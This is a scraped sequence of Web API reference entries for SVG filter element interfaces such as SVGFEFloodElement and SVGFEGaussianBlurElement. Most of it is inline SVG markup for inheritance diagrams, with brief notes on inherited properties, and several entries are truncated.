<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1...
...="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
...e">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedropshadowelement" target="_t...
...op"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedropshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEFloodElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefloodelement" target="_top"><rect x="31...
...1" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefloodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement, and implements properties from svgfilterprimitivestandardattributes.
SVGFEFuncAElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target=...
..."_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncaelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncaelement</text></a></svg></div> a:h...
SVGFEFuncBElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target=...
..."_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncbelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncbelement</text></a></svg></div> a:h...
SVGFEFuncGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target=...
..."_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncgelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncgelement</text></a></svg></div> a:h...
SVGFEFuncRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target=...
..."_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncrelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncrelement</text></a></svg></div> a:h...
SVGFEGaussianBlurElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...e x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfegaussianblurelement" targ...
...et="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfegaussianblurelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types.
SVGFEImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="31...
...1" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes and svgurireference.
SVGFEMergeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergeelement" target="_top"><rect x="31...
...1" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEMergeNodeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="...
...121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...>element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergenodeelement" target="_top"...
...><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergenodeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEMorphologyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1...
...="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
